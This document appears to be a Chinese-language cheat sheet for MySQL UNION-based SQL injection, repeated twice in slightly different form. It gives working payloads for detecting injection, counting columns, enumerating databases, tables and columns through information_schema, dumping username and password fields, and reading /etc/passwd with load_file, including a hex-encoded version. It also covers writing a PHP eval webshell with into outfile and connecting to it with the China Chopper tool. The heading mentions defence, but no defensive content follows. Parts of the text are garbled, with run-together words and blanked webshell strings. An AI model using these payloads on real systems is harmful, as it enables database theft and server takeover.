三.MySQL中information_schema数据库
mysql>show tables;
+---------------------------------------+
|Tables_in_information_schema|
+---------------------------------------+
|COLUMNS|
|SCHEMATA|
|TABLES|
+---------------------------------------+
SCHEMATA表
字段:SCHEMA_NAME schema_name存放的是数据库名称
mysql> desc schemata;
+----------------------------+--------------+------+-----+---------+-------+
| Field| Type| Null | Key | Default | Extra |
+----------------------------+--------------+------+-----+---------+-------+
| SCHEMA_NAME| varchar(64)| NO||||
+----------------------------+--------------+------+-----+---------+-------+
5 rows in set (0.11 sec)
TABLES表
字段:TABLE_SCHEMA,TABLE_NAMEtable_schema,table_name
mysql> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field| Type| Null | Key | Default | Extra|
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_SCHEMA| varchar(64)| NO||||
| TABLE_NAME| varchar(64)| NO||||
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)
COLUMNS表
字段:TABLE_SCHEMA,TABLE_NAME,COLUMN_NAMEtable_schema,table_name,column_name
mysql> desc columns;
+--------------------------+---------------------+------+-----+---------+------
| Field| Type| Null | Key | Default | Extra
|
+--------------------------+---------------------+------+-----+---------+------
| TABLE_SCHEMA| varchar(64)| NO|||
|
| TABLE_NAME| varchar(64)| NO|||
|
| COLUMN_NAME| varchar(64)| NO|||
+--------------------------+---------------------+------+-----+---------+------
四.MySQL中UNION规则
lUNION必须由两条或者两条以上的SELECT语句组成,语句之间关键字用UNION分隔
lUNION中的查询必须含有相同的列
lUNION会从查询结果中集中自动取出重复行
SQL注入挖掘以及防御
UNION query SQL injection
利用前提:页面上有显示位
优点:方便、快捷、易于利用
缺点:需要显示位
0x001判断是否存在SQL注入,同时判断注入类型:整型注入还是字符串注入
判断注入
uand
1=1 / and 1=2回显页面不同(整型判断)
u单引号’判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)
u\(转义符)
u-1
/ +1回显下一个或者上一个页面(整型判断)
uand
sleep(5) (判断页面返回时间)
0x002判断显示位长度,判断列数(二分法)
orderby 10
orderby 20
orderby 15
……
0x003判断查找显示位,UNION联合查询
unionselect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
0x004查找获取当前所用的数据库用户名,数据库名,数据库路径,操作系统版本,MySQL版本
user()---数据库用户名
database()---数据库名
@@datadir---数据库路径
@@version_compile_os---操作系统版本
version()---MySQL数据库版本
@@version---MySQL数据库版本
0x005查找列出所有的数据库名称
limit一个一个打印出来数据库名字
selectconcat(schema_name) from information_schema.schemata limit 0,1
group_concat一次性全部显示
selectgroup_concat(schema_name) from information_schema.schemata
0x006查找列出所有的表名
limit一个一个打印出来表名
select
concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转十六进制) limit 0,1
group_concat一次性全部显示
select
group_concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转十六进制)
0x007查找列出所有的字段
limit一个一个打印出来字段
select
concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转十六进制) and table_name=0x(表名转十六进制) limit 0,1
group_concat一次性全部显示
select group_concat(column_name)
from information_schema.columns where table_schema=0x(数据库名称转十六进制) and table_name=0x(表名转十六进制)
0x008查找列出所有需要的数据
limit一个一个打印出来数据
select
concat(concat(0x7e,username,0x7e,password)) from数据库名字.表名limit 0,1
group_concat一次性全部显示
select
group_concat(concat(0x7e,username,0x7e,password)) from数据库名字.表名
0x009 load_file()读取文件操作
前提:
l知道文件的绝对路径
l能够使用union查询
l对web目录有写的权限
UNION SELECT1,load_file('/etc/passwd’),3,4,5#
0x2f6574632f706173737764
UNION SELECT1,load_file(0x2f6574632f706173737764),3,4,5#
路径没有加单引号的话必须转换成十六进制
要是想省略单引号的话必须转换成十六进制
0x010 into outfile写入文件操作
前提:
l文件名必须是全路径(绝对路径)
l用户必须有写文件的权限
l没有对单引号’过滤
SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’
SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’
路径里面两个反斜杠\\可以换成一个正斜杠/
PHP语句没有加单引号的话必须转换成十六进制
要是想省略单引号的话必须转换成十六进制
后面路径的单引号不能省略
eval($_POST[CMD]); ?>或者
建议一句话PHP语句转换成十六进制
0x011一句话木马
eval($_POST[CMD]); ?>或者
0x012菜刀连接
武功再高,也怕菜刀,中国菜刀,就是屌
SQL注入UNION联合查询类型手札
0x001判断是否存在SQL注入,同时判断注入类型:整型注入还是字符串型注入
and 1=1 / and 1=2回显页面不同(整型判断)
单引号'显示数据库错误或者页面回显不同(整型、字符串类型判断)
\转义符
-1 / +1回显下一页或上一页(整型判断)
and sleep(5)判断页面返回时间
0x002判断显示位长度,判断列数(二分法)
order by 10
order by 20
order by 15
0x003判断查找显示位,UNION联合查询
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
0x004查找获取当前所用的数据库用户名,数据库名,数据库路径,操作系统版本,MySQL版本
user()---数据库用户名
database()---数据库名
@@datadir---数据库路径
@@version_compile_os---操作系统版本
version()---MySQL版本
0x005查找列出所有数据库名称、表名
数据库:
selectconcat(schema_name) from information_schema.schemata limit 0,1
selectgroup_concat(schema_name) from information_schema.schemata
表名:
selectconcat(table_name) from information_schema.tables where table_schema = 0x(数据库名称转十六进制) limit 0,1
selectgroup_concat(table_name) from information_schema.tables where table_schema =0x(数据库名称转十六进制)
0x006查找列出所有的字段
select concat(column_name)from information_schema.columns where table_schema = 0x(数据库名字转十六进制) and table_name = 0x(表名转十六进制) limit 0,1
selectgroup_concat(column_name) from information_schema.columns where table_schema =0x(数据库名字转十六进制) and
table_name = 0x(表名转十六进制)
0x007查找列出所有需要的数据
selectconcat(concat(0x7e,username,0x7e,password)) from数据库名字.表名limit 0,1
selectgroup_concat(concat(0x7e,username,0x7e,password)) from数据库名字.表名
0x008 load_file()读取文件操作
load_file('/etc/passwd')
load_file(0x2f6574632f706173737764)
0x009 into outfile写入文件操作
''into outfile'C:\\Windows\\tmp\\1.php'
0x010一句话木马
''
''
''
''
''
0x011菜刀连接
武功再高,也怕菜刀,中国菜刀,就是叼